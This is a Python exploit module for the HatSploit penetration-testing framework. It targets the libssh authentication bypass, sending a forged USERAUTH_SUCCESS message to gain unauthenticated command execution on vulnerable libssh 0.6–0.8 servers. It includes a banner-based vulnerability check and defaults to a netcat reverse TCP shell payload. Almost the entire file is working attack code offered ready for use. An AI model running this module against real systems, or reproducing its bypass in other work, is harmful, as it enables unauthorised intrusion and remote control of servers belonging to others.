#!/usr/bin/env python3

#
# This module requires HatSploit: https://hatsploit.netlify.app
# Current source: https://github.com/EntySec/HatSploit
#

import paramiko

from hatsploit.lib.module import Module
from hatsploit.utils.handler import Handler
from hatsploit.utils.tcp import TCPClient


class HatSploitModule(Module, Handler, TCPClient):
    buffer_size = 2048
    client = None

    details = {
        'Name': "SSH LibSSH Code Execution",
        'Module': "exploit/unix/ssh/libssh_code_execution",
        'Authors': [
            'Ivan Nikolsky (enty8080) - module developer',
            'Peter Winter-Smith (peterwintersmith) - vulnerability researcher'
        ],
        'Description': "SSH LibSSH unauthorized access Remote Code Execution.",
        'Comments': [
            ''
        ],
        'Platform': "unix",
        'Risk': "medium"
    }

    payload = {
        'Description': "Payload to use.",
        'Value': "unix/generic/netcat_reverse_tcp",
        'Categories': None,
        'Architectures': None,
        'Platforms': None,
        'Types': None
    }

    options = {
        'RHOST': {
            'Description': "Remote host.",
            'Value': None,
            'Type': "ip",
            'Required': True
        },
        'RPORT': {
            'Description': "Remote port.",
            'Value': 2222,
            'Type': "port",
            'Required': True
        },
        'LHOST': {
            'Description': "Local host to listen on.",
            'Value': "0.0.0.0",
            'Type': "ip",
            'Required': True
        },
        'LPORT': {
            'Description': "Local port to listen on.",
            'Value': 8888,
            'Type': "port",
            'Required': True
        },
        'BLINDER': {
            'Description': "Use Blinder instead of payload.",
            'Value': "no",
            'Type': "boolean",
            'Required': False
        }
    }

    def exploit(self, remote_host, remote_port, command):
        client = self.open_tcp(remote_host, remote_port)
        client.connect()

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(client.sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        conn = transport.open_session(timeout=5)
        conn.exec_command(command)

        output = conn.makefile("rb", 4096)
        output = output.read()

        return output.decode()

    def check(self, remote_host, remote_port):
        try:
            sock = self.open(remote_host, remote_port)
            banner = sock.recv(self.buffer_size)
            sock.close()

            banner = banner.split(b'\n')[0].decode().strip()
        except Exception:
            banner = None

        if banner:
            if any(version in banner for version in ['libssh-0.6', 'libssh_0.6']):
                return True
            if any(version in banner for version in ['libssh-0.7', 'libssh_0.7']):
                if int(banner.split('.')[-1]) < 6:
                    return True
            if any(version in banner for version in ['libssh-0.8', 'libssh_0.8']):
                if int(banner.split('.')[-1]) < 4:
                    return True

        self.output_error("Target is not vulnerable!")
        return False

    def run(self):
        remote_host, remote_port, local_host, local_port, blinder = self.parse_options(self.options)

        self.output_process(f"Exploiting {remote_host}...")

        if not self.check(remote_host, remote_port):
            self.output_error("Exploit failed!")
            return

        if blinder.lower() in ['yes', 'y']:
            self.blinder(
                sender=self.exploit,
                args=[remote_host, remote_port]
            )
        else:
            self.handle_session(
                host=local_host,
                port=local_port,
                payload=self.payload,
                sender=self.exploit,
                args=[remote_host, remote_port]
            )
